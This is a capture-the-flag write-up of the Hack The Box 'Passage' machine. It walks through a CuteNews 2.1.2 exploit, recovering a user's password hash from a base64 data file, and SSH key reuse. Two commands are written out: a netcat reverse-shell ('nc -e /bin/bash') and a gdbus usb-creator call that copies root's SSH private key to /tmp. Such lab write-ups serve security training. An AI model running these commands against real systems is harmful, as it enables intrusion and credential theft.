Hackthebox Passage writeup



Hackthebox Passage writeup

It is a great machine from hackthebox .The OS is Linux it includes little web enumeration which leads to explotitaion of the New management system.Further enumeration gave the creds for the user .then switching amother user with some guess work.And privilege escalation by exploiting usb-creator .

Table of Content

  • Port Scan
  • Website enumeration
  • Exploiting CuteNews
  • Getting creds for Paul(user)
  • Ssh for nadav(guess work)
  • Exploiting usb-creator(root)

Port Scan

➜ cat nmap
Nmap 7.80 scan initiated Fri Nov 6 00:14:00 2020 as: nmap -Pn -sC -sV -v -O -oN nmap
Nmap scan report for
Host is up (0.20s latency).
Not shown: 962 closed ports
6/tcp filtered unknown
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 17:eb:9e:23:ea:23:b6:b1:bc:c6:4f:db:98:d3:d4:a1 (RSA)
| 256 71:64:51:50:c3:7f:18:47:03:98:3e:5e:b8:10:19:fc (ECDSA)
|_ 256 fd:56:2a:f8:d0:60:a7:f1:a0:a1:47:a4:38:d6:a8:a1 (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Passage News
88/tcp filtered kerberos-sec
911/tcp filtered xact-backup
987/tcp filtered unknown
1029/tcp filtered ms-lsa
1051/tcp filtered optima-vnet
1058/tcp filtered nim
1077/tcp filtered imgames
1085/tcp filtered webobjects
1093/tcp filtered proofd
1108/tcp filtered ratio-adp
1501/tcp filtered sas-3
2035/tcp filtered imsldoc
2049/tcp filtered nfs
2170/tcp filtered eyetv
2251/tcp filtered dif-port
2399/tcp filtered fmpro-fdal
3322/tcp filtered active-net
3371/tcp filtered satvid-datalnk
4005/tcp filtered pxc-pin
4126/tcp filtered ddrepl
4279/tcp filtered vrml-multi-use
4449/tcp filtered privatewire
5500/tcp filtered hotline
5560/tcp filtered isqlplus
5633/tcp filtered beorl
6004/tcp filtered X11:4
6669/tcp filtered irc
7019/tcp filtered doceri-ctl
8180/tcp filtered unknown
8300/tcp filtered tmi
9080/tcp filtered glrpc
10025/tcp filtered unknown
10243/tcp filtered unknown
34572/tcp filtered unknown
62078/tcp filtered iphone-sync
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
Uptime guess: 17.437 days (since Mon Oct 19 13:45:50 2020)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=241 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Only two ports are open.

So let’s enumerate the port 80 first.

Website Enumeration

The website looks like this.

Hackthebox Passage writeup

I though to run some directory fuzzing tools but Then i saw this .

Hackthebox Passage writeup

So I dropped the idea.

So the next step was to look at the source code .And I found a directory /CuteNews.

Hackthebox Passage writeup

Going to /CuteNews .

Hackthebox Passage writeup

Exploiting CuteNews

So we can clearly see some of the points here that.It is a new management system and the version is CuteNews 2.1.2.

It means now we can google about it’s exploits.

And i got a exploit.


Hackthebox Passage writeup

Got a shell as www-data.So I quickly upgraded the shell.

command > whoami
command > which nc
command > /bin/nc -e /bin/bash 9007
Hackthebox Passage writeup

I found that there are two users nadav and paul.And we don’t have the permission to those directories.Now we need to escalate from here .

Getting creds for Paul (user)

I usually start enumeration from the /var/www/html directory as we can get very useful information from there.

Hackthebox Passage writeup

Inside /var/www/html/CuteNews/cdata/users got b0.php which had something interesting inside it .

When we decode the base64 we get the password hash for the user paul.

Hackthebox Passage writeup

We can get decrypt it using any online website . I used this one


Hackthebox Passage writeup

And got the password for the paul user .

Hackthebox Passage writeup

After getting the creds for paul I switched to paul and I got the user flag.

So here we have completed our user part.

First of all I saved the ssh keys for paul so I can get a stable shell.

Hackthebox Passage writeup

User paul was not a sudoer user .Moreover it didn’t have any thing special.

Moreover we still can’t go inside the nadav .so it means we have to switch to nadav .

Looking at the authorized keys of paul I found that there was nadav public key .Which means that nadav could ssh into paul.

Ssh for nadav user

Hackthebox Passage writeup

So maybe we can ssh into nadav account with paul ssh-keys.

Hackthebox Passage writeup

And now we our successfully logged in as nadav.

Exploiting usb-creator (root)

After a little enumeration and running few privsec scripts I came to know about the usb-creator is running as root.

Hackthebox Passage writeup

After googling about how to exploit usb-creator for the privilege escalation i saw this article.

After seeing this article I understood how i can use it to get root.

With this I can write root ssh keys to a tmp file then .ssh into root.

Hackthebox Passage writeup
gdbus call --system --dest com.ubuntu.USBCreator --object-path /com/ubuntu/USBCreator --method com.ubuntu.USBCreator.Image /root/.ssh/id_rsa /tmp/id_rsa true

So we get the root ssh keys and now login into root account .

Hackthebox Passage writeup

Thanks for reading have a nice day …

How useful was this post?

Click on a star to rate it!

Average rating 3 / 5. Vote count: 4

No votes so far! Be the first to rate this post.

As you found this post useful...

Follow us on social media!

We are sorry that this post was not useful for you!

Let us improve this post!

Tell us how we can improve this post?

Leave a Comment